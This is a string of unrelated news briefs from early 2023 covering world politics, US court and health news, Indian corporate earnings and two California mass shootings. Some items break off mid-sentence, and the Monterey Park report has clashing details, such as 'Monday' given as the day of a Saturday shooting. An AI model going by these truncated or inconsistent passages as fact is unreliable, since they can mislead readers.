While ruling out the possibility of direct talks between Iranian and US officials, Kanaani said Iran will wait and see what the other sides would do in practice and to what extent they would cooperate constructively.

Iran signed the nuclear deal, formally known as the Joint Comprehensive Plan of Action (JCPOA), with world powers in July 2015, agreeing to put some curbs on its nuclear programme in return for the removal of the sanctions on the country. The US, however, pulled out of the deal in May 2018 and reimposed its unilateral sanctions on Tehran, prompting the latter to reduce some of its nuclear commitments under the deal.

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The talks on the JCPOA's revival began in April 2021 in Vienna. No breakthrough has been achieved after the latest round of talks in August 2022.

--IANS

int/sha
The Moroccan Parliament decided Monday to reconsider its ties with the European Parliament and subject them to a comprehensive evaluation after the EU legislature criticised the state of press freedoms in Morocco.

The decision followed an extraordinary joint plenary session of Morocco's two houses of Parliament in Rabat on Monday that was convened to address the European Parliament's resolution from last week.

The Moroccan legislators called the resolution an unacceptable attack on the kingdom's sovereignty and the independence and sanctity of its judicial institutions, according to a joint parliamentary statement read out by the speaker of the House of Representatives, Rachid Talbi Alami.

Last week, EU legislators approved a non-binding resolution calling on Moroccan authorities to improve their respect of freedom of expression and media freedom.

The resolution said press freedom in the North African kingdom has been continuously deteriorating, and called for a fair trial with all due process guarantees for imprisoned journalists, including Omar Radi, Soulaimane Raissouni and Taoufik Bouachrine.

Such resolutions do not force EU member states to act, but are a broad indication of how the bloc of 450 million people feels about certain issues.

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The vote was 356-32 with 42 abstentions.

The Moroccan Parliament said the resolution broke trust and hurt progress that had been made over many years.

It described Morocco as a long-standing and trustworthy partner that plays a major role in protecting rights and freedoms and defending regional and international peace and security, according to the statement.

It added that the kingdom will never accept guardianship or lessons from anyone.

The Parliament defended judges' decisions in the cases mentioned by the European resolution, saying they had nothing to do with journalism or freedom of speech but were about crimes such as sexual assault and taking advantage of people's weaknesses.

Radi, a prominent investigative journalist and activist, was convicted in 2021 on charges of espionage and sexual assault and sentenced to six years in prison.

Radi denies wrongdoing, and rights groups say the charges were politically motivated.

Radi was the subject of an Amnesty International report in June 2020 that said Moroccan authorities had unlawfully spied on the journalist through his phone by using sophisticated surveillance software.

The Moroccan government disputed the claim.

Raissouni, also mentioned in the European resolution, was sentenced to five years in prison for sexual assault, and Bouachrine has been sentenced to 15 years in prison for sexual offenses, according to media watchdog Reporters Without Borders.

The EU resolution condemns what it calls Morocco's misuse of allegations of sexual assault to deter journalists from performing their duties, warning that such misuse endangers women's rights.

It also raised concerns about allegations that Moroccan authorities sought to bribe European Parliament members as part of a broad influence-buying scandal also involving allegations against Qatar.

Belgian prosecutors are investigating the allegations, part of a sweeping corruption scandal that has deeply shaken the EU.

The United States, a Moroccan ally, has in the past also voiced concerns about Morocco's treatment of journalists.
A jury has found four more Oath Keepers members guilty of seditious conspiracy over their roles in the Capitol Hill riot on Jan. 6, 2021, a charge that has been brought down to others in the group, including its leader Stewart Rhodes.

The four members were identified as Joseph Hackett of Sarasota, Florida; Roberto Minuta of Prosper, Texas; David Moerschel of Punta Gorda, Florida; and Edward Vallejo of Phoenix. The verdict against these four Oath Keepers comes after a separate jury convicted Rhodes in the mob's attack on the Capitol building.

Oath Keepers Convicted of Seditious Conspiracy

The jury's decision is seen as another significant victory for the Justice Department, which is also conducting efforts to secure sedition convictions against the former leader of the Proud Boys and four associates. Earlier this month, the trial against Enrique Tarrio was opened in Washington and is expected to last several weeks.

The Washington jury deliberated for roughly 12 hours over three days before making a guilty verdict. Seditious conspiracy is seen as a rarely used charge and carries up to 20 years of imprisonment. As per the Associated Press, the four suspects were also convicted of two other conspiracy charges and obstruction of an official proceeding.

The judge in the latest case did not immediately set a date for the sentencing of the convicts but denied prosecutors' bid to detain the individuals while waiting for the next step, arguing that they were not to be a risk of flight. However, the four men were ordered to home detention with electronic monitoring.

The incident was one of the most severe cases brought so far amid the Jan. 6, 2021, Capitol Hill riot investigation. The Justice Department has already charged roughly 1,000 people with the assault, and the number continues to rise by the week.

In a statement, Attorney-General Merrick Garland said that after the jury gave its verdict, he was grateful to the prosecutors, agents, and staff who did outstanding work in the case. Rhodes and Florida chapter leader Kelly Meggs were both convicted of seditious conspiracy in the previous trial that ended in November.

Read Also: Violent Atlanta Protest Update

Capitol Hill Riot

Following Judge Amit Mehta's ruling on Monday, the four convicted men will not be allowed to have firearms inside their homes. They will have limitations on their phone communications and internet use, according to CNN.

Minuta, among the convicted, was referred to by prosecutors as one of Rhodes's "most trusted men." On the other hand, Hackett was an alleged recruiter for the Florida Oath Keep, and prosecutors said he was exceptional at hiding his real identity.

Prosecutors also alleged that Hackett and Moerschel joined a group of 12 others on the day of the Capitol Hill riot, acting as the "boots on the ground." They are believed to have forced their way into the building using "brute strength."

They also argued that Minuta, a New York tattoo artist, was followed shortly after by a separate group that aggressively clashed with Capitol Police officers inside the building at the time, said the New York Times.

Related Article: Tyre Nichols Body Cam Footage

@ 2023 HNGN, All rights reserved. Do not reproduce without permission.
Pakistan Prime Minister Shehbaz Sharif has ordered an inquiry into the power outage in Pakistan that took place at around 7

According to a statement from Pakistan's Ministry of Energy, the national grid's frequency dropped around 7:34 am, leading to a "widespread breakdown" in the electricity system. Additionally, it stated that Warsak was the starting point for the repair of grid stations.

However, electricity has still not been fully restored nationwide, which is hindering companies and the daily lives of more than 220 million people.

The outage lasted for more than 16 hours, especially when temperatures were forecasted to fall to around 4 degrees Celsius (39F) in Islamabad and 8 degrees Celsius (46F) in Karachi, according to Geo TV.

The blackout, which Energy Minister Khurram Dastagir claimed was caused by a power surge, is the second significant grid breakdown in three months and adds to the nearly daily blackouts Pakistan's population experiences.

The power outage occurred after a technical fault was reported in the transmission line from Guddu to Quetta, causing the reduction of the power frequency from the optimum level, AAJ News reported citing sources.

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Sources revealed that Sindh, Punjab, and Islamabad regions were impacted by the power breakdown. According to sources, the complete restoration of electricity might take time. It is the second power outage reported over the past four months in Pakistan which is currently dealing with the energy crisis and high energy costs.

Islamabad Electricity Supply Company (IESCO), which provides electricity to Islamabad, Rawalpindi, Attock, Jhelum, Chakwal and parts of Pakistan-occupied Kashmir (PoK) said that the power supply to 117 grid stations of its company has been suspended, as per the news report.

IESCO tweeted, "Power supply to 117 grid stations of ISCO has been suspended yet no clear reason has been given by the Region Control Center. ISCO management is in constant communication with the concerned authorities.
Russia strongly supports the issue of reform at the UN Security Council to accommodate African, Asian and Latin American nations, the country's Foreign Minister Sergei Lavrov said on Monday.

Lavrov was addressing a media briefing after meeting with his South African counterpart, Minister of International Relations and Cooperation, Naledi Pandor, who hosted the Russian Minister for bilateral talks covering a range of issues.

We strongly support the additional seats for developing countries because it is the under-representation of Africa, Asia and Latin America which is the key problem of the (UN Security) Council today, Lavrov said, expressing support for pleas made on several occasions by President Cyril Ramaphosa of South Africa and Indian Prime Minister Narendra Modi.

He also said Russia cherished the cooperation of South Africa at the G20.

The latest Summit in Indonesia was, I believe, quite telling about the desire of most members of the G20 to concentrate on the original mandate of this group and not to politicise the agenda items, Lavrov said, adding that Russia was looking forward to South Africa taking over the Presidency of Brics this year.

"The (Brics) agenda is huge and very important, especially in the context of the not very helpful developments in the world economy and the world (in general), he said.

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Lavrov said Russia believed that African states had to find their own solutions to the conflict in areas such as the Great Lakes region, the Central African Republic, South Sudan, Mali and the northern part of Mozambique.

"The international community has to support the ways of settlement chosen by African countries themselves, including in the framework of the African Union (AU) and its regional organisations.

Russia will be actively helping to normalise the situation through the peace-keeping potential of African countries. We are ready to train them in our country. We (will) provide equipment to the missions of the AU, Lavrov said.

Pandor said South Africa believed that the only path to peace is through diplomacy, through dialogue and to a commitment to the principles of the UN Charter, including the principle that all member states will endeavour to settle disputes by peaceful means.

Pandor said against this backdrop it was South Africa's wish that the conflict between Russia and Ukraine would soon be brought to a peaceful end through diplomacy and negotiation.

We believe that this is the desire of all of us on the globe, Pandor said as she reaffirmed South Africa's neutrality in not taking sides on the issue.

Lavrov confirmed Russia's commitment to peaceful resolutions of disputes, including the country's current war with Ukraine, even as he pinned the blame for there not being an early end to the war on Ukrainian President Volodymyr Zelensky.

We will always be ready to discuss early negotiated solutions to any conflict. In September, President Zelensky signed a decree prohibiting all Ukrainian officials from negotiating anything with the Russian Federation. So I believe it's obvious as to the origin of the problem of the lack of negotiations, Lavrov said.
Turkish President Recep Tayyip Erdogan has warned Sweden that it should not expect Turkey's backing to join the NATO following the burning of the Quran outside the Turkish Embassy in Stockholm.

"Those who allow such disgraceful acts in front of the Turkish Embassy in Stockholm can't expect good news from us on NATO membership," Erdogan said on Monday at a press conference after the cabinet meeting.

No individual has the freedom to insult the faith of Muslims or other religions, he was quoted by Xinhua news agency as saying.

Saturday's burning of a copy of the Quran by Rasmus Paludan, leader of the Danish far-right political party Hard Line, came at a time when Sweden, along with Finland, was seeking Turkey's backing to join NATO.

The bid has been blocked by the Turkish government, which accuses Sweden and Finland of supporting anti-Turkey groups.

The Nordic states have pledged to support Turkey's fight against terrorism and agreed to address Ankara's pending deportation or extradition requests for "terror" suspects. But the Turkish parliament has not ratified their membership yet.

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--IANS

int/sha


The sources declined to detail the support except to say that it consists of non-lethal military and economic assistance that stops short of wholesale evasion of the sanctions regime the US and its allies imposed after Russian forces invaded Ukraine. The Biden administration has confronted Chinas government with evidence that suggests some Chinese state-owned firms may be providing assistance for Russias war effort in Ukraine, as it tries to ascertain if Beijing is aware of those activities, according to sources.



A spokeswoman for the National Security Council declined to comment, as did the Central Intelligence Agency. The Chinese Embassy in Washington did not respond either. US officials said they agree the Russia-China relationship is extremely close now and China is doing more than it did before in support of Russia. The trend is worrying enough that US officials have raised the matter with their Chinese counterparts and warned about the implications of supplying material support for the war.



US strategy over Ukraine rests in part on isolating Russian president Putins government and seeking to choke off his economy and hinder the war effort. Increased support from China could significantly undercut that strategy. The people familiar with the administrations thinking characterised the state-owned enterprises activities as knowingly assisting Russia in its war effort. The administration is reviewing the evidence its accumulated to determine its significance.

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That could risk opening a whole new area of dispute at a time when the US has sought to balance its desire for stabilised ties with Beijing against moves to limit Chinese access to high-end mircochips and confront China over what it sees as a more aggressive posture toward Taiwan. And if Biden and his advisers determined Chinas government was involved in or tacitly accepted the actions of those state-owned enterprises, they would be forced to decide how much to push back.



18,000 civilian deaths so far: UN US Secretary of State Antony Blinken is set to visit Beijing in February, the first visit since the pandemic. US believes Chinas government wants to help Russia and isnt neutral as it claims.
U.S. health officials want to make COVID-19 vaccinations more like the annual flu shot.

The Food and Drug Administration on Monday proposed a simplified approach for future vaccination efforts, allowing most adults and children to get a once-a-year shot to protect against the mutating virus.

This means Americans would no longer have to keep track of how many shots they've received or how many months it's been since their last booster.

The proposal comes as boosters have become a hard sell. While more than 80% of the U.S. population has had at least one vaccine dose, only 16% of those eligible have received the latest boosters authorized in August.

The FDA will ask its panel of outside vaccine experts to weigh in at a meeting Thursday.

The agency is expected to take their advice into consideration while deciding future vaccine requirements for manufacturers.

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In documents posted online, FDA scientists say many Americans now have sufficient preexisting immunity against the coronavirus because of vaccination, infection or a combination of the two.

That baseline of protection should be enough to move to an annual booster against the latest strains in circulation and make COVID-19 vaccinations more like the yearly flu shot, according to the agency.

For adults with weakened immune systems and very small children, a two-dose combination may be needed for protection.

FDA scientists and vaccine companies would study vaccination, infection rates and other data to decide who should receive a single shot versus a two-dose series.

FDA will also ask its panel to vote on whether all vaccines should target the same strains.

That step would be needed to make the shots interchangeable, doing away with the current complicated system of primary vaccinations and boosters.

The initial shots from Pfizer and Moderna called the primary series target the strain of the virus that first emerged in 2020 and quickly swept across the world.

The updated boosters launched last fall were also tweaked to target omicron relatives that had been dominant.

Under FDA's proposal, the agency, independent experts and manufacturers would decide annually on which strains to target by the early summer, allowing several months to produce and launch updated shots before the fall.

That's roughly the same approach long used to select the strains for the annual flu shot.

Ultimately, FDA officials say moving to an annual schedule would make it easier to promote future vaccination campaigns, which could ultimately boost vaccination rates nationwide.

The original two-dose COVID shots have offered strong protection against severe disease and death no matter the variant, but protection against mild infection wanes.

Experts continue to debate whether the latest round of boosters significantly enhanced protection, particularly for younger, healthy Americans.


The lawsuit would be the second federal antitrust complaint filed against Google, alleging violations of antitrust law in how the tech giant acquires or maintains its dominance. The Justice Department lawsuit filed against Google in 2020 focuses on its monopoly in search and is scheduled to go to trial in September. The US Justice Department (DOJ) is poised to sue Alphabets Google as soon as Tuesday regarding its dominance over the digital advertising market, Bloomberg News reported on Monday, citing people familiar with the matter.



The lawsuit is expected to take an aim at Googles advertising business, which is responsible for almost 80 per cent of its revenue. In addition to its well-known search, which is free, Google makes revenue through its interlocking ad tech businesses, which connect advertisers with newspapers, websites and other firms looking to host them. The Justice Department did not immediately respond to a Reuters request for comment, while Google declined to comment on the report.



The tech giant made a series of purchases, including DoubleClick in 2008 and AdMob in 2009, to help make it a dominant player in online advertising. Advertisers and website publishers have complained that Google has not been transparent about where ad dollars go, specifically how much goes to publishers and how much to Google.

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Pichai to staff: Cuts avoided much worse issues While Google remains the market leader by a long shot, its share of the US digital ad revenue has been eroding, falling from 36.7 per cent in 2016 to 28.8 per cent last year, according to Insider Intelligence. Google had previously argued that the ad tech ecosystem was competitive with Facebook, AT&T, Comcast and others.



If you dont act clearly and decisively and early, we can compound the problem and make it much worse, Pichai said. Googles chief executive officer told employees on Monday that job cuts were made in a bid to act decisively as the companys growth slowed.
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Granules India reported 23.24% jump in net profit to Rs 124.32 crore on a 15% increase in revenue from operations to Rs 1,146.12 crore in Q3 FY23 over Q3 FY22.The revenue growth was primarily driven by higher paracetamol API sales in the United States.

EBITDA improved by 33% to Rs 231 crore in Q3 FY23 from Rs 174 crore in Q3 FY22. EBITDA margin was 20% in Q3 FY23 as against 17% in Q3 FY22.

The company's revenue share from the USA increased to 49.4% in Q3 FY23 as compared to 43.1% YoY. Further, active pharmaceuticals ingredients (API), pharmaceutical formulation intermediates (PFI), and finished dosages contribute 35.8%, 18.6%, and 45.6% of revenue from operations respectively.

While operating cash flow was quite healthy at Rs 161 crore, free cash flow was negative at Rs 32.5 crore; impacted due to additional deployment of Rs 50 crore in our new expansion plan with green initiatives in Kakinada and Rs 42.5 crore for land acquisition in Vishakhapatnam.

Return on capital employed (ROCE) increased to 25.6% as compared to 21.2% YoY during the period under review.

Net debt stood at Rs 894 crore as against Rs 554 crore in Q2 FY23 and net debt to EBITDA stood at 0.98x. Increase in net debt was on account of reduction in cash due to buy back of shares and incremental capex for new initiatives.

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Dr. Krishna Prasad Chigurupati, chairman & managing director of Granules India said, In the current quarter we continued to cater to higher demand for Paracetamol. Opportunities in paracetamol are likely to continue and our geography expansion strategy in Europe is likely to yield higher turnover and EBITDA in future periods. We are also seeing a price and margin erosion in Q3 and expect similar trend in Q4.

In the current quarter we had changed our 3PL partner in USA to a better partner who has better automation and digital capabilities. However, during the transition we have suffered some sales loss in USA and that is the reason for better standalone financial performance as compared to consolidated financial performance. We expect that smoothening of the logistics in USA could take a quarter more.

Meanwhile, Granules India said that its wholly-owned foreign subsidiary, Granules Pharmaceuticals has received approval from US Food & Drug Administration (USFDA) for its abbreviated new drug application (ANDA) Amphetamine Mixed Salts capsules; indicated for the treatment of attention deficit hyperactivity disorder (ADHD).

Granules India is a vertically integrated fast growing Indian pharmaceutical company. It is present across the entire manufacturing value chain - from active pharmaceutical ingredients (APIs), pharmaceutical formulation intermediates (PFIs), and finished dosages (FDs).

The scrip fell 0.26% to currently trade at Rs 311.30 on the BSE.

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Saturday evening was winding down at the Lai Lai Ballroom & Studio in Alhambra, California, following a Lunar Near Year celebration. Brandon Tsay heard the front door lock behind him.

Tsay, who helps his family operate the dance hall, stated that the shooter was "looking around the room" as though he were "searching for targets - people to harm."

California Mass Shooting Good Samaritan

Tsay stated that during the incident, he used his elbows to separate the pistol from the suspect until he wcouldgrab the weapon away and pushed the man aside, according to Good Morning America.

He did not know at the time, but he would later hear that this same guy, identified by officials as 72-year-old Huu Can Tran, had reportedly opened fire 20 minutes earlier at another dancing school in adjacent Monterey Park, killing at least ten people and injuring ten more.

The horrific shooting at Star Dance Studio in a primarily Asian neighborhood of Monterey Park occurred shortly after 10:20 p.m. local time on Saturday, on what should have been the most joyous day of the year for those of Asian origin.

Authorities said that Tran fled the scene in a white vehicle and went to Alhambra, where he entered the Lai Lai Ballroom & Studio before being disarmed. On Sunday, following a daylong search, police spotted Tran's car along a road near Torrance, some 30 miles southwest of Monterey Park.

As a marked police car drove behind the van, the vehicle entered a shopping center parking lot. When police exited their patrol vehicle and approached the van, they heard a single gunshot from within the van. According to officials, the cops discovered Tran dead from a self-inflicted gunshot wound inside the van, which had a stolen license plate.

Multiple law enforcement authorities have said that the available information rules out terrorism or a hate crime as the cause of the assault, even though the attack's motive remains unclear.

Police are investigating "jealousy" and a personal relationship as possible motives for the killing. Chester Hong, a resident of Monterey Park, said he felt a marital quarrel over an invitation to a Lunar New Year's Eve party may have been the cause of the attack, as per WIONews.

The mass shooting at Monterey Park is the bloodiest incident in the United States since a shooter killed 19 pupils and two instructors at a Texas school in May last year.

The White House said on Sunday that President Joe Biden had been briefed on the incident and that the Federal Bureau of Investigation (FBI) had been instructed to assist the local police. Meanwhile, Vice President Kamala Harris tweeted that the Biden administration will continue giving local authorities full assistance.

Overnight, yet another community was torn apart by a senseless act of gun violence. To the Monterey Park families impacted: Doug and I mourn with youand pray for you. @POTUS and I will continue to provide full support to local authorities as we learn more.  Vice President Kamala Harris (@VP) January 22, 2023

Read Also: Atlanta Protest Turns to Violence



Oldest US Mass Shooter in 60 Years

According to experts who study the issue, the gunman is the oldest mass public shooter in the United States in at least 60 years. Tran is the second-oldest mass murderer, including in domestic fights, according to a database assembled by USA TODAY, The Associated Press, and Northeastern University.

In Yuma County, Arizona, in 2011, a 73-year-old man targeted and murdered five people, including his ex-wife, her attorney, and three of her acquaintances, before committing suicide. Relatives claim that Tran had provided free dance lessons at the Star Ballroom Dance Studio, where the murders occurred Monday; authorities were still looking for a motive in the crime.

Densley stated that Tran is two years older than the previous oldest major public shooter. The year was 1981. The median age of mass public shooters is 32 years old, according to The Violence Project's data.

However, ages vary per place. The research indicates that mass shooters in workplaces, warehouses, and places of worship tend to be older than those in K-12 schools, colleges, and universities. In 2017, the shooters in Las Vegas were all over 50 years old; in 2018, Bakersfield, California; in 2019, Jersey City, New Jersey; in 2020, Milwaukee, Wisconsin; and in 2021, San Jose, California.

Related Article: Lunar New Year Shooting Suspect Identified

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Shoppers Stop declined 2.42% to Rs 652.45 after the company's consolidated net profit tumbled 18.9% to Rs 62.74 crore in Q3 FY23 from Rs 77.32 crore recorded in Q3 FY22.

Revenue from operations stood at Rs 1,137.07 crore in the quarter ended 31 December 2022 as against Rs 958.11 crore posted in Q3 FY22, registering a growth of 18.7%.

Consolidated profit before tax declined 9.2% to Rs 85.78 crore in Q3 FY23 as compared to Rs 94.44 crore in Q3 FY22. Total expenses jumped 18.84% year on year (YoY) to Rs 1,075.66 crore in Q3 FY23.

Gross margin was at Rs 474 crore in Q3 FY23, rising 21% YoY. EBITDA grew 27% to Rs 128 crore in quarter ended 31 December 2022.

The company's Private Brands revenue grew 23% YoY and beauty segment revenue was up by 18% YoY.

The company opened 6 department and 5 beauty stores in Q3, taking the total store count to 271, spread across 50 cities across India. The firm intends to add 5 department and 4 beauty stores by the end of fiscal 2022-23, said the company.

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Shoppers Stop said that its First Citizen Members contributed 77% of its offline sales and 38% of online sales. The company's engagement continues to remain focused with multiple activities during the quarter.

The company said that it continued to remain debt free with surplus cash of Rs 42 crore.

The customer visits has decreased by 3.5% YoY, the Average Transaction Value (ATV) was up by 10.14% YoY and the Average Selling Price (ASP) improved by 13.04% in Q3 FY23. The company reported GAAP total revenue of Rs 1,156 crore in Q3 FY23, rising by 20% from Rs 966 crore recorded in Q3 FY22. GAAP EBITDA for the quarter improved to Rs 240 crore as compared to Rs 198 crore in Q2 FY22, recording a growth of 21%.

Venu Nair, MD and CEO at Shoppers Stop, said, "The growth momentum continued from the second quarter, tapering down a little after Diwali. Customer sentiments remain largely buoyant due to the prolonged festive and wedding season demand. The company's strategy to give a great buying experience to the customers is fueling footfalls at our physical stores, and eyeballs online. The revamped look and feel of the stores, and diversified product SKUs have made Shoppers Stop the preferred choice of customers.

Nair stated, We clocked the highest ever quarterly sales, gross margin, EBITDA and PBT. Product premiumization across private brand categories has resulted in the highest quarterly sales with a growth of 23%. The beauty category was strong and reported their highest quarterly sales with a growth of 18% The company's fund allocation strategy has kept us debt free, and we have a net surplus cash of Rs 42 crore in our books.

Our store expansion plan is on track as we opened six department and five beauty Stores. Five more department stores are under fit out. By the fiscal year end, we plan to open a further 5 Department stores and 4 Beauty Stores in 7 cities, taking the overall store count to 280 stores in 54 cities, he added.

Shoppers Stop is the nation's leading premier retailer of fashion and beauty brands.

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Sales rise 8.21% to Rs 4528.34 croreNet profit of Tata Communications declined 0.34% to Rs 393.88 crore in the quarter ended December 2022 as against Rs 395.21 crore during the previous quarter ended December 2021. Sales rose 8.21% to Rs 4528.34 crore in the quarter ended December 2022 as against Rs 4184.89 crore during the previous quarter ended December 2021. ParticularsQuarter EndedDec. 2022Dec. 2021% Var.Sales4528.344184.89 8 OPM %23.7925.87 -PBDT985.441017.83 -3 PBT430.62475.37 -9 NP393.88395.21 0

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TVS Motor Company reported 22% rise in standalone net profit to Rs 353 crore on a 15% increase in revenue to Rs 6,545 crore in Q3 FY23 over Q3 FY22.

Operating EBITDA grew by 16% at Rs 659 crore for the third quarter of 2022-23 as against EBITDA of Rs 568 crore in third quarter of 2021-22. Operating EBITDA margin for the quarter was at 10.1% as against 10% reported in the third quarter of 2021-22.

Profit before tax (PBT) grew by 21% to Rs 475 crore for the third quarter of 2022-23 from Rs 391 crore in third quarter of 2021-22.

The company registered total two-wheeler sales of 8.36 lakh units in the current quarter as against 8.35 lakh units in the quarter ended December 2021. Two-wheeler export sales registered 2.07 Lakh units as against 2.53 Lakh units in December 2021.

Total three-wheelers registered sales of 0.43 lakh units in the quarter ended December 2022 as against 0.44 lakh units in the quarter ended December 2021.

Electric vehicles registered sales of 0.29 lakh units in the quarter ended December 2022 as against 0.02 lakh units during the quarter ended December 2021 and 0.16 lakh units during quarter ended September 2022.

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The board at its meeting held today, declared an interim dividend of Rs 5 per share, absorbing a sum of Rs 238 crore for the financial year 2022-23.

TVS Motor Company is a reputed two and three-wheeler manufacturer globally. It has four manufacturing facilities in Hosur, Mysuru and Nalagarh in India and Karawang in Indonesia. TVS Motor's group company Norton Motorcycles, based in the United Kingdom, is one of the most emotive motorcycle brands in the world. Its subsidiaries in the personal e-mobility space, Swiss E-Mobility Group (SEMG) and EGO Movement have a leading position in the e-bike market in Switzerland.

The scrip advanced 0.44% to end at Rs 986.20 on the BSE today.

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Westlife Foodworld rose 1.82% to Rs 693.20 after the company has announced the appointment of Saurabh Bhudolia as its chief financial officer (CFO).Saurabh is a chartered accountant (CA) with experience in the manufacturing industries (steel, FMCG, beverage, and retail) in India, New Zealand, and Singapore. In these many years, his area of expertise has been accounting, budgeting & costing, treasury, taxation, project finance, financial reporting, business partnering, merger and acquisition (M&A), Industrial Relations (IR), funding and auditing.

Saurabh will be responsible for overseeing all aspects of financial management and strategy to ensure the company's financial success. In his new role, Saurabh will report to Akshay Jatia, executive director, and will work closely with the leadership team to devise effective financial strategies for Westlife Foodworld.

Amit Jatia, vice chairman, Westlife Foodworld, said, We are delighted to welcome Saurabh Bhudolia as the new chief financial officer. His industry experience and knowledge will be of great value in advancing our strategic vision and achieving our business objectives. I am confident that he will play a key role in Westlife Foodworld's growth and wish him success in his new position.

Saurabh Bhudolia, CFO, Westlife Foodworld, said, I am honoured to be a part of the Westlife Foodworld family. I am looking forward to leveraging my experience to provide financial guidance, ensure compliance and maximize profitability. I am positive that my area of expertise and skill sets will enable Westlife Foodworld to soar to greater heights.

Westlife Development is engaged in operating McDonalds' chain of restaurants in the West and South Regions of India.

The company reported consolidated net profit of Rs 31.54 crore in Q2 FY23 as compared to net loss of Rs 4.42 crore in Q2 FY22. Net sales rose 49.8% YoY to Rs 570.23 crore in Q2 FY23.

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The Securities Appellate Tribunal (SAT) has set aside much of the disgorgement-cum-penalties imposed on the National Stock Exchange (NSE) in the co-location case in an April 2019 order by the Securities and Exchange Board of India (Sebi). The tribunal has also revoked the penalties imposed on Chitra Ramkrishna and Ravi Narain, who were senior officers of the NSE. It has asked the markets regulator to reconsider the extent of disgorgement imposed on another company, OPG Securities, which was indicted. However, reports indicate that Sebi is likely to approach the Supreme Court. The co-location case refers to preferential access given to some high-frequency traders on the NSEs platform. These select entities received advance price information, and allegedly profited by front-running. In another investigation of the NSEs functioning, Sebi discovered Ms Ramkrishna had bypassed the NSE board in appointing Anand Subramanian group operating officer and advisor to the mana

Or
Karnataka Chief Minister Basavaraj Bommai on Tuesday said the 14th edition of Aero India that would be held in Bengaluru from February 13-17, will be the "biggest airshow" with highest participation.

The Chief Minister virtually attended the 'Apex Committee' meeting to review the preparations for the event chaired by Defence Minister Rajnath Singh.

"This is going to be the biggest airshow with the highest participation. There will be a large number of participation from delegates, aerospace and defence industry leaders, also companies," Bommai said.

Speaking to reporters after attending the virtual meeting from here, he said, "there will be India pavilion, Karnataka pavilion and a large exhibition of aerospace companies. Also there will be aerial displays by aircrafts, and the public will also be getting an opportunity to witness it. The Prime Minister will be inaugurating this mega airshow."



The biennial airshow would be held at the Air Force Station at Yelahanka in Bengaluru.

According to Aero India website, a total 731 exhibitors have registered -- 633 Indian and 98 foreign.

Aero India has carved a niche for itself globally as one of the premier aerospace exhibitions with 13 successful editions organised in Bengaluru since 1996, officials said.
Chairman of Mahindra Group Anand Mahindra met with Uttar Pradesh Chief Minister Yogi Adityanath at his official residence here on Monday, according to an official statement.

In light of the upcoming Global Investors Summit, investment proposals from the group for Uttar Pradesh were discussed during the meeting, it said.

Greeting Anand Mahindra on his arrival in Uttar Pradesh, the chief minister said the Mahindra Group has expertise in various sectors and the state will benefit from its long experience, technology, research and innovations.

Referring to 25 sectoral policies of the state, Adityanath said these were prepared keeping in mind the needs and expectations of the industry. "The state has a huge land bank and open power access. Here the interest of investors is protected. All these facilities will be made available to the Mahindra Group by the government," the statement quoted Adityanath as saying.

Describing the state's industrial development policies as encouraging for the industry, Mahindra said Uttar Pradesh's law and order, practical sectoral policies, simple system and large population create investment-friendly opportunities for the Mahindra Group.
Canadian Prime Minister Justin Trudeau has announced a new federal investment to build and commercialise the world's first photonic-based, fault-tolerant quantum computer.

According to a news release from the Prime Minster's website, the investment of 40 million Canadian dollars ($32 million) will enable Xanadu Quantum Technologies Inc., a Toronto-based Canadian quantum computing company, to develop the quantum computer which will have the potential to provide world leading capabilities to help solve complex data problems and could be used in a variety of sectors such as finance, transportation, environmental modelling, and health, Xinhua news agency reported.

Supported through the government's Strategic Innovation Fund, this project of 177.8 million Canadian dollars ($142 million) is expected to create 530 new highly skilled positions in the high-tech and quantum computing fields, the release said.

Earlier this month, Canada launched its National Quantum Strategy, which invests an additional 360 million Canadian dollars ($288 million) to help solidify Canada as a global leader in quantum technologies.

Founded in 2016, Xanadu, with the mission to build quantum computers that are useful and available to people everywhere, leads the development of PennyLane, an open-source software library for quantum computing and application development.

--IANS

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int/sha
HARMAN, a subsidiary of Samsung Electronics, on Tuesday said it has taken strict legal action against dealers involved in the manufacture and sale of fake JBL and Infinity Car Audio products in the country.

The raids by the company in three markets in Bengaluru led to the discovery of four car after-market dealers peddling counterfeit JBL and Infinity products.

HARMAN's investigation team, along with the law enforcement officers, seized over 500 counterfeits as well as infringed JBL and Infinity car audio products.

The team discovered products in two places that were misusing the JBL mark as JBZ and IGL and selling counterfeit goods in packaging that was deceptively similar to that of JBL and Infinity.

The company said it seized those infringed goods and the offenders have been subjected to appropriate legal procedure.

HARMAN is the parent company for audio brands including JBL, AKG, Harman Kardon, Infinity, Lexicon, Mark Levinson and Revel, among others.

Also Read JBL launches SoundBar2.1, Bar500, Bar800 and Bar1000 in India: Price, specs Samsung announces two new technologies Ready Care, Ready Tune for vehicles Samsung Galaxy Z fold 4 and Galaxy Flip 4 - Price, Features and Specs 'Top Gun' jets past 'Avengers: Infinity War', 6th top-grossing film in US Samsung still pursuing merger deal, expect good news from us: CEO Jong-hee OPPO India, MeitY's CSC Academy to train 10,000 women in cyber security Meta introduces more features to end-to-end encrypted Messenger app Google Messages to add new feature to let users make own profiles Apple's VP of health coming to India, to speak at BioAsia event on Feb 25 Apple brings iOS 12.5.7 operating system update for older iPhones

"We take stern action against any offenders trying to mislead our customers and advise them to purchase HARMAN products from authorised dealers only, while being wary of counterfeit products in the market,a said Vikram Kher, Vice President, Lifestyle, HARMAN India.

"HARMAN plans to carry out additional investigations to prevent the production and distribution of counterfeit goods in India," Kher added.

Last year, the company conducted a similar raid along with the law enforcement officers, and seized stocks of spurious JBL and Infinity consumer products, from car accessories shops, and manufacturing units located across Delhi.

--IANS

na/shb/
A 67-year-old man was apprehended following two shootings that left seven people dead in a coastal California town.

Two occurrences, one at a mushroom farm and the other at a trucking company, occurred on the outskirts of Half Moon Bay. Dave Pine, the head of the San Mateo County Board of Supervisors, stated that four persons were murdered on the farm and three at the trucking company.

Half Moon Bay Shooting

Pine stated that a 67-year-old man, whom he referred to as a "disgruntled employee" at one of the firms, was brought into custody around two hours after the initial incident. The police think that the suspect, identified as Chunli Zhao, acted alone.

An officer saw Zhao's vehicle in the parking area of a San Mateo County Sheriff's Department substation, according to a sheriff's department statement cited by the San Francisco Chronicle.

The firearm was recovered in his vehicle, according to the report. It was unclear how the two areas were related at first glance. About 48 kilometers south of San Francisco is Half Moon Bay.

Senator for California Josh Becker stated that many gunshots resulted in fatalities. Supervisor of San Mateo County David Canepa tweeted that a gunshot occurred at a mushroom farm.

Just before 5 p.m., the San Mateo County Sheriff's Office announced through Twitter that a suspect was in custody. Currently, there is no ongoing threat to the community, according to the sheriff's office.

Read Also: Atlanta Protest Turns to Violence

